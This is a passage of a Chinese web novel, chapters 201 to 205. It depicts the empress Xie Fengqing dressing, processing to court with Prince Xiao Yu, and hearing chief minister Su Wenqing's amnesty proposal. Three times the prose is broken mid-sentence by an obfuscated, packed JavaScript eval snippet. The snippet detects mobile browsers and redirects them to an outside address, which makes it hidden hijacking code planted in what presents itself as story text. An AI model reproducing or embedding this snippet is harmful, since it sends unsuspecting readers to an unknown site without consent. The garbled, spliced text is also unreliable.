“进来吧。”谢凤卿开口道,声音已恢复了帝王的清越从容,听不出一丝刚醒时的微哑或私语时的柔和,只剩下属于统治者的平静与威严。 “是。”殿外传来高无庸恭敬的应答。 旋即,厚重的朱红色殿门被两名小内侍从外面无声推开,动作轻巧流畅,显是训练有素。早已捧着各种物事等候在外的宫女内侍们,在首领宫女流云的带领下,低眉垂首,鱼贯而入,行动轻捷,步伐一致,如同演练过千百遍,不敢有丝毫怠慢,甚至不敢抬眼乱看。 乾元宫的首领宫女名唤流云,约莫二十许年纪,容貌清秀端庄,算不上绝色,但气质沉静稳重,眼神清澈聪慧。她原是萧御亲王府中的一等大丫鬟,自小服侍萧御,不仅精通宫廷礼仪、梳妆打扮、伺候笔墨,更难得的是心思细腻,处事周全,且对萧御绝对忠诚。萧御将她精心调教后送来伺候谢凤卿,既是照顾,亦是一种保护与耳目。流云身后跟着四名二等宫女,皆是容貌周正、手脚麻利、家世清白的姑娘,经过严格筛查和训练。 流云带着两名大宫女上前,欲伺候谢凤卿梳洗更衣。她们手中捧着金盆、玉碗、雪白的棉巾、青盐、香膏、梳篦等物,一应俱全,俱是精品。 第201章她要的,是让人忘记她的性别 另一边,萧御已自行起身,走到寝殿另一侧的紫檀木雕花屏风后。那里早已有专门负责伺候亲王起居的内侍捧着温水、布巾、亲王常服等候。他虽是亲王,更是女帝名正言顺的夫君,但宫中规矩,帝王起居自有专属宫人伺候,他并不会越俎代庖,亦是一种姿态——既是对谢凤卿帝王权威的维护,也是避嫌,避免给人留下“乾元宫内,亲王可随意插手帝王朝务起居”的印象。细节处见真章,萧御在这些方面,向来做得无可挑剔。 谢凤卿在梳妆台前坐下。梳妆台是紫檀木所制,造型简洁大气,上面镶嵌着光滑如镜的云母石台面。台上摆着的并非寻常女子的胭脂水粉,而是一套特制的、以保养为主的妆奁。铜镜打磨得光可鉴人,清晰地映出她的面容。镜中的女子,眉如远山含黛,不画而翠;目若寒星点漆,清澈而深邃;鼻梁挺直如玉箸,唇色是自然的淡樱色,因晨起而显得愈发柔软莹润。褪去了昨日盛装的华美夺目,洗净了铅华,这张脸更显清丽绝伦,肌肤细腻如上好的羊脂白玉,在晨光中泛着温润的光泽。只是那眉宇间沉淀的威仪、历经风雨淬炼出的沉静,以及眼底深处那抹不容错辨的睿智、坚毅与偶尔闪过的锐利,让她即便不施粉黛,素面朝天,也自有一股令人不敢逼视的凛然气度与压迫感,那是久居上位、执掌生杀大权蕴养出的气势,绝非寻常美貌可以比拟。 流云的手很巧,动作轻柔而迅速,如同穿花蝴蝶。她先伺候谢凤卿用细盐和清水漱口,然后用温度恰到好处的、浸泡了梅花瓣的温水净面,再用质地细腻柔软的棉巾轻轻吸干脸上水分,动作轻柔得仿佛怕碰碎了珍宝。接着,她打开那个紫檀螺钿妆奁,里面并非寻常女子所用的胭脂水粉,而是几样特制的、颜色极为清浅自然的护肤香膏,以及描眉的螺黛、点唇的浅色口脂,还有一盒极细腻的珍珠粉,但看起来极少使用。 谢凤卿的目光扫过妆奁,淡声道,声音不高,却带着决定性的意味:“眉略加深即可,显得精神些。唇色用最淡的茉莉膏,润泽即可。粉不必了。”她不需要厚重的妆容来增加威严或遮掩什么,本色示人,素面朝天,更能彰显底气与自信。过于浓艳的妆容,反而会削弱她作为帝王的权威感,容易让人聚焦于她的容貌而非能力。她要的,是让人忘记她的性别,只记住她是皇帝。 “是,陛下。”流云恭敬应道,并无半分迟疑。她取出一支特制的、极细的螺黛,颜色是偏青的黑,并非纯黑,以免过于突兀。她手法娴熟地为谢凤卿描眉,只是顺着原有的、本就生得极好的眉形略微加深加长,使那两道远山眉更显清晰利落,眉梢微扬,平添几分英气与威仪。接着,用干净的小银勺舀出一点近乎无色的、泛着淡淡茉莉清香的透明膏体,以指尖温热,轻轻点在她的唇上,稍加匀开。那膏体迅速化开,只增添一抹健康的水润光泽,并不改变唇色,却让那双淡色的唇瓣显得饱满柔润。 发式亦不复杂。流云将她浓密如瀑、光可鉴人的长发拢起,手法灵巧地在头顶偏后处盘成一个端庄而不失简洁的**髻。这种发髻高耸而略向后倾,既衬得脸型小巧,脖颈修长,又不会过于繁复累赘,便于行动,也便于佩戴冠冕。发髻用数根质地温润、雕工精美的羊脂白玉簪固定,玉簪样式简单,只在顶端雕成云头或如意形状,低调而雅致。余下的长发在脑后松松绾起,用同色发带束住,垂下少许,更添几分随意与柔和,冲淡了发髻的正式感。 整个过程流畅而安静,只闻轻微的环佩叮当声和衣衫窸窣声。流云手法精准,显然对谢凤卿的喜好和需求了如指掌。 接下来,便是更衣。 两名大宫女小心翼翼地从旁边的紫檀木嵌螺钿衣架上,取下今日要穿的帝王常服。并非昨日大典时那套隆重无比、纹饰繁复到极致的玄色十二章纹龙袍,而是一套更为便于行动、却仍显威仪的常服。依旧是玄色为底,庄重肃穆,象征天命所归。但纹样相对简洁,只在肩、胸、背、袖、下摆等关键位置,用金线绣着精致的云龙纹,龙为五爪金龙,腾云驾雾,姿态威猛而不失流畅。袍服的领口、袖口皆以金线锁边,绣着精致的回纹。里衬是柔软的明黄色杭绸,触感细腻。腰束镶玉革带,带上镶嵌着十几块上等的羊脂白玉,温润生光。下摆适中,行动间不会过分拖沓,但袍角依然及地,行走时需稍加留意。整套衣服用料考究,做工精湛,庄重而不失利落,既符合帝王身份,彰显无上权威,又便于处理日常政务,接见臣工。 谢凤卿起身,展开双臂,由两名大宫女一左一右,动作轻柔而熟练地为她穿上这身玄底金龙常服。玄色越发衬得她肌肤欺霜赛雪,身姿挺拔如雪中修竹,纤细却不羸弱,蕴含着内敛的力量。金线在逐渐明亮的晨光下流转着内敛而华贵的淡淡光华,龙纹随着她细微的动作若隐若现,栩栩如生,仿佛随时会破衣而出,直上九天,带着不怒自威的凛然气势。流云为她整理好衣襟、袖口,抚平每一处细微的褶皱,然后跪下来,为她系好镶玉革带,调整到最舒适妥帖的位置。 最后,流云起身,从身后另一名宫女捧着的、铺着明黄绸缎的托盘上,小心翼翼地取来一顶帝王常服冠。这顶冠同样以赤金打造,但比起昨日的九凤金冠,形制简单轻便许多。冠体呈圆形,冠檐上卷,冠顶缀一颗龙眼大小的东珠,光华熠熠,四周环绕着缕空雕琢的金色云纹,正中是一块上好的碧玺。冠后垂着赤金绦穗,庄重而不繁复。 谢凤卿看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184702|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那顶在宫女手中显得沉甸甸的常服冠,沉默了一瞬。昨日戴上九凤金冠时的那种几乎要压断脖颈的沉重感,仿佛再次袭来,伴随着祭坛上震耳欲聋的山呼万岁,以及那份孤身立于天地之间的宿命感。但她很快便收敛了这瞬间的恍神,目光恢复平静深邃,如同古井无波。她微微低头,流云屏住呼吸,小心翼翼地将常服冠为她戴好,调整端正,确保冠体不偏不倚,东珠居于额心正上方,绦穗自然垂于肩后。 镜中,便出现了一位身着玄底金龙常服、头戴金玉常服冠、眉目清丽却威仪天成、气质清冷如雪山之莲的女帝形象。少了几分昨日祭坛上的炫目华彩与近乎神性的光芒,多了几分属于统治者的沉静、理智、务实与深不可测。那双寒星般的眸子,平静地注视着镜中的自己,也注视着镜中映出的、即将开始的、漫长而充满挑战的帝王生涯。目光坚定,无喜无悲,只有一片澄澈的清明与不容动摇的决心。 另一边,萧御也已穿戴整齐,从屏风后转出。他今日穿的是一品亲王朝服,并非昨日大婚时的玄色衮服,而是更为正式场合穿的绛紫色亲王常服。袍服亦是上好的云锦所制,颜色尊贵雍容,袍服上以金线银线绣着四爪金龙(帝为五爪,亲王为四爪,规制分明),**纹环绕,云纹点缀。腰束玉带,带上镶嵌着青玉。头戴七梁冠,冠上簪着象征亲王的东珠。他本就生得俊美无俦,此刻身着亲王华服,更衬得面如冠玉,身姿挺拔如崖畔青松,气质清贵雍容,举手投足间自带一种久居上位的从容气度与属于武将的英挺。只是当他目光转向谢凤卿时,那眼底的锐利便会化为深沉的温柔与专注。 他与谢凤卿站在一起,一玄一紫,一挺拔修长,一清隽雍容,一个威仪天成如烈日当空,一个清贵内敛如皎月悬天,竟说不出的和谐相配,如同日月同辉,阴阳相济,交相辉映,构成一幅极具美感和象征意义的画面。 寝殿内的宫人们早已屏息垂首,心中无不震撼感叹。昨日祭坛之上,是受命于天、光芒万丈的神祇般女帝与虔诚守护、宛如神侍的亲王;今日这乾元宫内,晨光熹微中,是并肩而立、气息交融的帝王与亲王,是刚刚缔结婚盟的夫妻,亦是即将共治天下、分担风雨的君臣。这种复杂而深刻的关系,以及两人之间那种无需言语的默契与相互映衬的气场,让人既感敬畏,又觉某种奇异的圆满。 用过早膳后(早膳是简单的清粥,几样精致爽口的小菜,并一笼水晶虾饺,一碟豌豆黄,符合谢凤卿不喜奢靡、讲究养生的习惯),谢凤卿在流云的伺候下,最后对镜整理了一下衣袖、冠带和腰间玉佩的流苏,确保每一处都一丝不苟,无可挑剔。帝王的威仪,往往就体现在这些细节的完美无缺上。 第202章起驾——金銮殿— 萧御走到她身边,很自然地伸出手,指尖拂过她鬓边,为她将一缕未被束好的、极其细碎柔软的发丝轻轻别到耳后。这个动作亲密而自然,带着无需言说的呵护与珍视,指尖的温度短暂地擦过她微凉的耳廓。 谢凤卿抬眸看他,四目相对,许多话已在不言中。他的眼神在说:我在这里。她的眼神在回应:我知道。 “该上朝了,陛下。”萧御微微躬身,做出一个标准的“请”的姿势,姿态恭敬而不卑微,眼神却温柔而坚定,如同最忠诚的骑士在向他的君主宣誓。 谢凤卿微微颔首,不再多言。她挺直本就笔直的脊背,如同雪原上孤高的青松,深深吸了一口气,仿佛要将这清晨微凉而清新的空气、以及那份沉甸甸的责任一同吸入肺腑,化为力量。然后,她迈步,向殿外走去。步伐沉稳,不急不缓,每一步的距离都仿佛丈量过,玄色袍服的下摆随着她的动作轻轻拂过光洁如镜的金砖地面,发出几不可闻的沙沙声,如同春蚕食叶,却带着定鼎乾坤般的沉重韵律。 萧御落后她半步,如同她的影子,也如同她的屏障,紧随其后。 殿门再次大开,清晨微凉而清新的空气瞬间涌入,带着初春泥土苏醒的湿润气息,远处御花园隐隐传来的梅花冷香,以及皇宫特有的、混合了檀香、灰尘与岁月沉淀的复杂味道。天色已完全放亮,东方天际泛起大片的鱼肚白,边缘被染上瑰丽的橘红与金红,层层叠叠的云彩被勾勒出灿烂的金边。很快,第一缕晨曦便会穿透云层,喷薄而出,照亮这座古老而巍峨的宫城,也照亮这个以“凤翔”为名、注定不凡的崭新时代。 乾元宫外的汉白玉台阶下,帝王的明黄銮驾与亲王的青顶车辇早已准备妥当,分别停在两侧。銮驾由三十六名身材相仿、面容肃穆的太监抬着,装饰着龙凤纹样,垂着明黄绉纱;亲王的車辇亦由十六人抬,规制稍减,但同样华贵庄严。銮驾与车辇前后,是整齐肃立的宫廷侍卫,穿着鲜明的甲胄,手持长戟或佩刀,在晨光中闪烁着冰冷的金属光泽。更外围,是捧着各种仪仗的太监宫女,旗、幡、扇、盖、戟、瓜、镫……林林总总,沉默而有序地排列着,营造出天家出行特有的、令人窒息的庄严肃穆氛围。 谢凤卿在台阶前略一停顿,目光沉静地扫过眼前熟悉而又陌生的宫殿群落。朱红的高墙,金黄的琉璃瓦,巍峨的殿宇,飞翘的檐角,连绵起伏,在越来越亮的晨光中显得格外庄严、肃穆、而又深邃莫测。这里,曾是她以摄政王身份行走、谋划、争斗、甚至隐忍的地方;每一处角落,似乎都残留着过往的刀光剑影与无声硝烟。如今,她将以主人的身份,以这宫城乃至天下共主的身份,重新踏入那象征着最高权力、也凝聚着无数野心与鲜血的金銮殿。 她的目光最终投向金銮殿的方向,那座矗立在皇宫中轴线最高处、最为宏伟壮丽的宫殿,在晨曦中如同蛰伏的巨兽,又如同通往天命的神坛。那里,是天下权力的中心,是无数人梦寐以求的巅峰,也是她新征程的起点,更是她必须征服、驾驭、并赋予新生的地方。 “走吧。”她淡淡道,声音平静无波,听不出任何情绪,却带着一种定鼎乾坤、无可置疑的力量,如同重锤敲击在每个人的心头。 她登上銮驾,坐进那宽大、铺着明黄软垫的舆厢内。萧御则上了自己的亲王车辇。 “起驾——金銮殿——”内侍总管高无庸深吸一口气,拖长了声音,用他那经过特殊训练的、尖细而穿透力极强的嗓音高声唱道。 “起驾——金銮殿——”两旁的太监们依次传唱下去,声音在空旷的宫道间回荡。 銮驾与车辇被稳稳抬起。仪仗开道,侍卫护持。沉重的脚步声、甲胄摩擦发出的低沉而有节奏的金属声响、旗帜在晨风中猎猎舞动的声音交织在一起,形成一种宏大而压迫感十足的进行曲。宫灯在渐亮的晨光中显得有些黯淡无力,却依旧执着地亮着,仿佛在送别昨日那个充满动荡、阴谋与流血的旧时代,迎接今日这个由一位女子开创的、充满未知与希望的新黎明。 车轮碾过平整如镜的宫道青石板,发出辘辘的沉闷声响。谢凤卿端坐于銮驾之中,隔着轻纱帘幕,看着沿途熟悉的宫墙、殿宇、古树、石兽飞速向后退去。红墙高耸,隔绝了内外;飞檐叠嶂,勾勒出天际线;古老的柏树松树伸展着苍劲的枝干,在宫墙上投下斑驳陆离的影子。她的心境奇异地平静下来,昨日祭坛上的激昂澎湃、夜间的片刻温情与相依、清晨初醒时的微妙感慨与身份认知的激荡,此刻都如同潮水般退去,沉淀为一种深沉的决心、清晰的思路与冰冷的理智。她是皇帝,此刻,她需要思考的,是国政,是朝局,是天下。 从乾元宫到金銮殿,路途并不遥远,只隔着一道宫门和几个广场。但对于谢凤卿而言,这段路,仿佛是从“摄政王谢凤卿”走向“凤翔帝谢凤卿”的最后几步。每一步,都承载着过往数年的艰辛谋划、生死挣扎、步步为营;承载着此刻手握天下的巨大责任与如履薄冰的警醒;也承载着对未来那个海晏河清、国强民富盛世的期许与承诺。 銮驾在金銮殿前的巨大广场边缘停下。 此刻,天光已然大亮。朝阳尚未完全跃出地平线,但东方的天空已被彻底点燃,染成一片燃烧般的橘红、金红与瑰丽的紫色,层层叠叠、形态各异的云彩如同天神织就的华丽锦缎,铺满了大半边天空。这灿烂的朝霞映照着巍峨耸立、在晨光中如同镀上一层金边的金銮殿,将那金色的琉璃瓦、朱红色的高大宫墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这位以女子之身登基、以铁血手腕肃清政敌、以“事在人为”震动朝野、手握重兵虎符、得监国亲王萧御鼎力支持、在民间与军中拥有极高声望、甚至带着一丝传奇色彩的女帝,将会如何开启她的“凤翔”时代?会颁布怎样的政令来定调子?会如何对待他们这些前朝旧臣、各方势力?会推行怎样激进或缓和的新政?是会延续摄政时期的强硬作风,还是会有所妥协?她与监国亲王之间,这“帝后共治”的局面,又将如何运作,权力如何分配? 一切疑问,一切揣测,一切观望,都即将在这场朝会上,得到初步的答案。 内侍上前,恭敬地掀开銮驾的明黄绉纱帘幕。 一只穿着玄色绣金龙纹厚底朝靴的脚,稳稳踏在了早已准备好的、铺着猩红地毯的脚踏上。靴子做工精致,金龙狰狞,靴底洁净,一尘不染。 然后,一道挺拔、清瘦、却蕴含着无尽力量与威仪的身影,自銮驾中微微躬身,从容而出,站定在脚踏之上,抬起头,面向东方灿烂的朝霞,面向丹陛下肃立的百官,面向这崭新的、以她年号命名的王朝。 第203章一言可兴邦,一言亦可丧邦 玄色帝王常服在璀璨朝霞的映照下,泛着庄重而内敛的乌金光泽,袍服上以金线绣制的云龙纹随着她的站定,在晨光中流淌着威严而华贵的淡淡光芒。头上那顶金玉常服冠下的面容,清丽绝伦,眉眼如画,却又如同覆着一层千年不化的薄冰,平静无波,无喜无悲。那双寒星般的眸子缓缓扫过全场,目光并不如何锐利逼人,却澄澈清明,深邃如古井,仿佛能洞悉人心深处的一切隐秘。目光所及之处,空气仿佛都为之一凝,许多官员下意识地屏住了呼吸,低下头,不敢与之对视。 没有昨日祭坛上的盛装华服,没有过多脂粉修饰,甚至比昨日少了几分夺目的、令人不敢直视的神性光华。但此刻静静立于銮驾之侧、晨光之中的她,却更令人感到一种沉静如深海、深不可测、却又磅礴无匹的压力。那是一种属于真正统治者的、内敛而强大的气场,无需刻意彰显,无需疾言厉色,便已如同无形的潮水,弥漫了整个广场,压在了每个人的心头。她只是站在那里,便已是天命所归,便已是乾坤之主。 她,就是大周的新帝,凤翔帝,谢凤卿。 在她身后半步,萧御也下了车辇,站定。绛紫色的亲王常服衬得他面如冠玉,身姿挺拔如雪山青松。他神色平静从容,目光沉静地注视着前方的谢凤卿,也以余光扫过两旁的百官,姿态恭敬而不卑微,从容而不逾矩,完美地扮演着亲王、臣子、以及女帝最坚定支持者与守护者的角色。他与谢凤卿之间那半步的距离,微妙而精准,既显示了君臣之别,又暗示着非同寻常的亲密与支持。 谢凤卿没有立刻说话,也没有迈步。她只是静静地站在那里,如同化作了广场上另一尊雕塑,任由清晨带着寒意的风拂过她的衣袂,拂动她冠冕两侧垂下的赤金绦缨,扬起她鬓边几缕未被束起的碎发。她在感受,感受这帝国权力中心最核心地带的空气,感受文武百官那复杂目光汇聚成的无形压力,感受这历史性一刻的沉重与辉煌。她的侧脸在朝霞金光中勾勒出优美而坚毅的弧线,下颌微扬,脖颈修长,如同天鹅。 片刻,她收回目光,不再看任何人,仿佛将广场上这黑压压的官员群体视若无物。她迈开步伐,沉稳地,一步一步,踏上了通往金銮殿正殿的、那漫长而宽阔的、象征着至高无上权力与地位的汉白玉台阶。 萧御落后她三步,同步踏上台阶,步伐节奏与她保持着一致。 他们的步伐并不快,甚至可以说是从容,却异常坚定,每一步都踏得实实在在,带着千钧之力。玄色与绛紫色的身影,在恢宏壮丽、沐浴在万丈朝霞中的巍峨殿宇背景下,在两侧肃立无声的百官注视下,一前一后,拾级而上,构成一幅极具象征意义与视觉冲击力的画面——新任女帝与监国亲王,并肩(虽前后有别,但方向一致)而行,共赴朝堂,共掌乾坤。 广场之上,落针可闻。只有风声呼啸,旗帜猎猎,衣袂拂动的细微声响,以及那两道身影踏在光洁汉白玉台阶上的、清晰而沉稳的脚步声。那脚步声并不响亮,但在极致的寂静中,却被放大,仿佛带着奇特的韵律与回响,敲击在每个人的耳膜与心弦上。 “嗒、嗒、嗒……” 每一步,都仿佛踏在时间的脉搏上,踏在厚重历史的书页上,踏在场中每一个人的心尖上。一些年迈的、思想守旧、对女子为帝仍心存芥蒂的老臣,看着那道走在最前方、穿着帝王常服、身姿挺拔如松的女子背影,眼神复杂无比,有震惊,有不甘,有隐忧,有茫然,有对旧时代逝去的哀叹,但更多的,是一种在巨大现实、煌煌天命与强势君威面前的、不得不低头的颓然与默然。而更多支持新政、或是持中立观望态度的官员,则从这沉稳的步伐与强大的气场中,感受到一种前所未有的、混合着希望、压力、以及隐隐亢奋的振奋。一个全新的时代,或许真的要到来了。 终于,谢凤卿踏上了最后一级台阶,站在了金銮殿那高大宽阔、雕刻着蟠龙祥云与海浪纹样的丹陛之上,缓缓转过身,面向下方广场上依旧肃立的百官。晨光从她身后东方天际喷薄而出,为她整个人的轮廓镀上了一层璀璨夺目的金边,恍若神人自光芒中走出,令人不敢直视。 萧御则停在了丹陛下,属于亲王的位置。他微微垂首,姿态恭谨,目光却沉稳地望向丹陛上的身影,如同最忠诚的基石。 谢凤卿的目光再次缓缓扫过全场。这一次,她的目光不再平淡,而是带着审视,带着威压,带着一种新帝登基、执掌乾坤、号令天下的凛然与决断。那目光如同冰冷的泉水,流过每一个官员的面孔,似乎能穿透官袍,直视其内心。 然后,她开口了。 声音并不如何高亢,甚至因为晨起和长时间沉默而带着一丝清冷的质感,但她显然运用了内力,声音并不费力便清晰地传入了广场上每一个人的耳中,如同冰玉相击,又如黄钟大吕,晨钟初鸣,带着一种奇异的穿透力、浑厚感与不容置疑的威严: “众卿,平身。” 简单的四个字,没有过多的寒暄客套,没有冗长的开场白,没有提及昨日的庆典,也没有展望未来的空话。就是这平平淡淡的四个字,却瞬间让所有官员心中一凛,下意识地挺直了本就绷紧的脊背,感受到了一种不同于以往任何帝王的、简洁而直接的威压。 “谢陛下!”广场上,文武百官齐声应道,声音洪亮整齐,在空旷的广场上回荡,带着一种仪式感的肃穆,也拉开了新朝第一次大朝会的正式序幕。 朝会,正式开始。 凤翔时代的第一缕朝晖,终于彻底挣脱了地平线的束缚,毫无保留地、辉煌万丈地倾洒下来,照亮了金銮殿金光璀璨的琉璃瓦,照亮了丹陛上那道玄色的、笔直如剑的身影,为她周身镀上了一层流动的、炽烈的金色光晕,恍若神 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此刻,那原本象征着无上权力、令无数人仰望、争夺、乃至埋葬了不知多少野心与生命的御座,迎来了它千百年来的第一位女主。 谢凤卿一步一步,踏上御阶。她的步伐依旧沉稳,玄色常服的下摆拂过光洁如镜、雕刻着莲花纹的御阶,发出极轻微的、富有韵律的窸窣声。殿内两侧,按文东武西、品级高低肃立的文武百官,目光如同实质的探针,追随着她的身影,试图从每一个细微的动作、表情中解读出信息。好奇、揣测、审视、敬畏、疑虑、期待、不安……种种情绪在这座宏伟而冰冷的大殿内无声流淌、碰撞、交织。 她终于走到了御座前,却没有立刻坐下,而是转过身,面向丹墀下(丹陛之上的平台为丹墀)的百官。她的身姿挺拔如雪中青松,目光平静地扫过下方一张张或熟悉或陌生的面孔。三年摄政,她早已熟悉了这座大殿,熟悉了大多数朝臣,熟悉了这里的每一丝气息、每一道目光背后的含义。但今日,身份不同,心境不同,感受亦截然不同。昔日,她是代行皇权的摄政王,虽有威权,终究名不正言不顺,是“代”为执掌,处处掣肘,如履薄冰,许多政令需要迂回,需要妥协,需要借先帝或小皇帝的名义。今日,她是名正言顺、祭告天地祖宗、昭告天下登基的皇帝,是这**江山、亿兆生民名正言顺、唯一的主人。这份“名正言顺”所带来的心理优势与权力空间,是摄政时期无法比拟的。 这种微妙而巨大的转变,带来的是心态与行事方式的彻底不同。昔日需要权衡再三、需要妥协退让、需要借势而为的地方,今日或许可以更直接、更果断、更雷厉风行。但相应地,需要承担的责任也更为直接、更为沉重,再也无人可以分担这“天子”的名分与罪责。一言可兴邦,一言亦可丧邦。 第204章苏文卿 她缓缓坐下。 御座宽大,对她而言甚至有些空旷。椅背坚硬而挺直,并不舒适;扶手冰凉光滑。但当她坐下的那一刻,一股难以言喻的、混合着极致权力、如山责任、沉重宿命与孤独巅峰的感觉,从身下传来,瞬间席卷全身,深入骨髓。这不是舒适的龙椅,这是由荆棘、鲜血、责任与荣耀共同铸就的王座,坐上去,便意味着选择了与全天下为“敌”(统治者本质上是孤独的),也选择了为全天下负责。 内侍总管高无庸手持拂尘,立于御阶一侧,见陛下坐定,百官也已按班次站好,便上前一步,走到丹墀边缘,用他那特有的、不高不低却足以让殿内每个人都听清的声音,拖长了调子唱道:“陛下临朝,众臣工有事启奏,无事退朝——” “退朝”二字自然是虚言,新帝第一次大朝会,怎么可能无事。这不过是开启正式议事流程的固定套话。 短暂的静默。这静默仿佛带着实质的重量,压在每个朝臣的心头,让人有些喘不过气。谁第一个开口?说什么?以何种姿态?是**,还是直陈时弊?是试探新帝,还是表明立场?这第一个发言者,往往能定下一定的基调,也会吸引最多的目光。 最终,是站在文官之首的、新任内阁首辅苏文卿,率先出列。他年约五旬,面容清癯,三缕长髯修剪得整整齐齐,目光清正睿智,气质儒雅中透着刚直。他原是吏部尚书,是朝中少有的既精通政务、又品行端方、且对新政抱有务实支持态度的能臣。谢凤卿登基后,顺势将其擢升为内阁首辅,统领文官,主持日常政务。苏文卿手持玉笏,躬身行礼,声音沉稳清晰,在寂静的大殿中回荡:“臣,内阁首辅苏文卿,启奏陛下。” “苏爱卿平身,讲。”谢凤卿的声音从高高的御座上传来,平静无波,听不出喜怒,如同从云端落下。 苏文卿直起身,却没有立刻奏事,而是再次躬身,朗声道,声音带着由衷的感慨与对新朝的期望:“臣,恭贺陛下顺天应人,荣登大宝,改元凤翔!此乃社稷之福,万民之幸!陛下万岁,万岁,万万岁!”说着,便要行三跪九叩的大礼。 他这一带头,殿内其余百官,无论心中作何想,此刻都必须跟上。这是新帝登基后,臣子在正式朝会上的第一次集体朝拜,象征着彻底的承认与臣服。呼啦啦一片衣袍摩擦声响,所有官员齐齐跪倒,以额触地,山呼万岁之声震耳欲聋:“恭贺陛下荣登大宝,陛下万岁万岁万万岁!” 声音在空旷高阔的大殿内激烈回荡,撞在梁柱墙壁上,激起隐隐回音,震得梁柱上的灰尘似乎都簌簌落下,殿顶的夜明珠光芒仿佛都随之晃动。 谢凤卿端坐御座,面色平静地受了这一礼。这是她应得的,也是必要的仪式。她目光平静地看着下方跪伏的、如同潮水般的群臣,待山呼声稍歇,才淡淡道:“众卿平身。朕初登大宝,于治国理政,尚有诸多需学习仰仗之处。日后朝政,尚需诸位臣工同心协力,直言进谏,共扶社稷。望诸位不负朕望,亦不负天下万民之望。”话语简洁,但其中的勉励与期许,以及隐含的“若是不然”的警告,清晰可辨。 “臣等谨记陛下教诲!定当竭忠尽智,辅佐陛下开创盛世!”百官齐声应道,声音比之前更多了几分郑重与决心,这才纷纷起身,退回各自班列。 礼仪性的朝贺与表忠完毕,真正的朝会议事,正式拉开序幕。 苏文卿再次出列,这次,他手持一份早已准备好的奏章,神情严肃,开始切入实质议题:“陛下,昨日登基大典,礼成于天,万民欢腾,四夷宾服,足见民心所向,天意昭昭,此乃大周之幸,苍生之福。然,国不可一日无君,亦不可一日无纲常法度。今陛下已正大位,天命所归,当颁明诏,以定国是,以安天下民心,以稳朝局社稷。臣以为,首当推行者,乃陛下于祭坛所言‘大赦天下’之仁政。此乃新朝之新气象,可收揽民心,彰显陛下浩荡仁德,亦可示天下以宽和怀柔,缓解新旧鼎革之交的紧张之气,使天下咸知陛下非以严刑峻法治国,而以仁德教化万方。” 他顿了顿,目光扫过殿中同僚,继续清晰而稳重地陈述:“然,大赦乃国之重典,关乎法度纲纪之尊严,社稷稳定之根基,不可不慎之又慎。赦免何人,赦至何罪,何时颁行,如何执行,地方如何接旨落实,皆需详加斟酌,订立明确条款,以免官吏曲解圣意,执行走样,或纵容罪恶,枉顾法纪,反损陛下圣德,动摇国本,辜负陛下爱民恤刑之本意。为此,臣已奉监国亲王殿下之命,于昨日大典后,连夜会同刑部、大理寺、都察院诸位大人,依据历代赦例与本朝律法,结合当下时情,初步议定大赦条款草案,恭请陛下御览圣裁。”说着,他双手将那份墨迹犹新的奏章高高举起,姿态恭敬。 高无庸立刻迈着小碎步上前,躬身接过奏章,然后双手捧着,低眉垂首,快步走到御阶下,再恭敬地登上御阶,将奏章呈到御案之上。 谢凤卿接过那份尚带着墨香的奏章,并未立刻翻开细看,而是将目光投向下方持笏而立的苏文卿,问道,声音在空旷的大殿中显得格外清晰:“苏爱卿所虑周详,思之深远。大赦天下,固本安民,确为当务之急。然,赦免之尺度分寸,需有法可依,有前例可循,更需结合当下时局与民间实情,不可泥古,亦不可草率。卿等所议草案,以何原则为准绳?” 苏文卿恭声答道,条理分明:“回陛下,臣等反复商议,所拟原则有三,敢为陛下陈之。其一,罪在不赦者,明确界限。除谋反、谋大逆、谋叛、恶逆、不道、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢凤卿微微颔首,这才用修长的手指翻开奏章,目光快速而专注地扫过上面密密麻麻的条款。奏章写得很详尽,不仅列出了三大原则,还根据罪刑轻重、犯罪缘由、在押时间、有无前科、退赃情况等,分门别类拟定了不同的处理意见,如“杖责以下,查无不法前科,立即释放”“流刑以下,羁押超过三年,查无大恶,准予保释”“**减为流刑,流刑减为徒刑”等等,并附有简单的案例说明,可见苏文卿等人确实下了功夫,非敷衍之作。 她看完,合上奏章,并未立刻表态,而是将目光投向丹墀之下肃立的百官,缓缓开口,声音清晰地回荡在寂静的大殿中,带着一种冷静的审视意味:“苏爱卿所拟三条原则,思虑周全,甚合朕意。大赦天下,非为滥施恩典,收买人心,乃为纠偏补弊,缓解民间积年之疾苦,给予偶入歧途者改过自新之机,使法度严明之中,亦存天理人情。然,具体条款细则,关乎千万人生死荣辱,朕尚有几处疑虑,需问分明。” “陛下圣虑深远,臣等恭听圣训,必竭诚以对。”苏文卿躬身,姿态愈发恭敬。 “其一,”谢凤卿指尖在奏章上轻轻一点,目光锐利如刀,“关于‘因言获罪’者。草案中言及‘因旧制所累’,可包括因议论朝政得失、批评官吏不法、乃至非议朕躬、上书言事措辞激烈而获罪之人?” 第205章老臣……老臣只是尽提醒之责 此言一出,殿内空气仿佛瞬间凝固,温度骤降。因言获罪,历朝历代皆有,尤其是在君王昏庸、朝**败、党争激烈之时。先帝晚年,猜忌日重,便曾因此兴起数起**,牵连甚广,许多耿直之士或贬或囚,朝堂噤若寒蝉。谢凤卿执政后,虽有意缓和,**了一些**,但并未明文废止相关苛律,只是较少动用。如今新帝登基,首次大朝会,便主动提及此等敏感尖锐之事,其意何在?是真正要广开言路,还是又一次试探?许多官员,尤其是那些曾因言事得罪过先帝或被政敌构陷的御史、翰林们,心一下子提了起来,目光灼灼地望向御座。 